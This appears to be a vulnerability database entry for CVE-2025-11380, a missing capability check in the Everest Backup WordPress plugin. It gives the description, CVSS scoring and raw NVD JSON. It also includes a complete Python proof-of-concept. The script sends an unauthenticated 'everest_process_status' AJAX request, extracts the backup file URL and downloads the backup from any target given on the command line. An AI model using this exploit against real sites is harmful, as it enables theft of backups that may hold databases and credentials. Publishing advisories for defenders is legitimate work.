Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11380 CVSS 5.9 MEDIUM

CVE-2025-11380

Published: 2025-10-11 03:15:31
Last Modified: 2026-04-15 00:35:42

Description

The Everest Backup – WordPress Cloud Backup, Migration, Restore & Cloning Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'everest_process_status' AJAX action in all versions up to, and including, 2.3.5. This makes it possible for unauthenticated attackers to retrieve back-up file locations that can be subsequently accessed and downloaded. This does require a back-up to be running in order for an attacker to retrieve the back-up location.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Everest Backup Plugin < 2.3.6
Everest Backup Plugin <= 2.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11380 - Everest Backup Plugin Unauthorized Access PoC # Exploits missing capability check on 'everest_process_status' AJAX action import requests import sys import re from urllib.parse import urljoin def exploit(target_url): """ Exploit CVE-2025-11380 to retrieve backup file location from WordPress sites running Everest Backup plugin <= 2.3.5 """ # Step 1: Send unauthenticated AJAX request to retrieve backup status ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') payload = { 'action': 'everest_process_status' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending AJAX request to: {ajax_endpoint}") try: response = requests.post( ajax_endpoint, data=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200 and response.text: print(f"[+] Response received:") print(response.text) # Step 2: Extract backup file URL/path from response # The response may contain backup file location in JSON or HTML backup_url_match = re.search( r'(https?://[^"\s<>]+\.(?:zip|tar\.gz|sql))', response.text ) if backup_url_match: backup_url = backup_url_match.group(1) print(f"[+] Backup file URL found: {backup_url}") # Step 3: Download the backup file print(f"[*] Downloading backup file...") backup_response = requests.get(backup_url, timeout=30, verify=False) if backup_response.status_code == 200: filename = backup_url.split('/')[-1] with open(filename, 'wb') as f: f.write(backup_response.content) print(f"[+] Backup saved to: {filename}") print(f"[+] File size: {len(backup_response.content)} bytes") return True else: print(f"[-] Failed to download backup: HTTP {backup_response.status_code}") else: print("[-] No backup URL pattern found in response") # The backup might not be currently running print("[*] Note: A backup must be in progress for exploitation") else: print(f"[-] Request failed: HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://target-wordpress-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11380", "sourceIdentifier": "[email protected]", "published": "2025-10-11T03:15:31.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Everest Backup – WordPress Cloud Backup, Migration, Restore & Cloning Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'everest_process_status' AJAX action in all versions up to, and including, 2.3.5. This makes it possible for unauthenticated attackers to retrieve back-up file locations that can be subsequently accessed and downloaded. This does require a back-up to be running in order for an attacker to retrieve the back-up location."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3374193%40everest-backup&new=3374193%40everest-backup&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/869d7cab-cf21-4168-b45d-1681c76d896c?source=cve", "source": "[email protected]"}]}}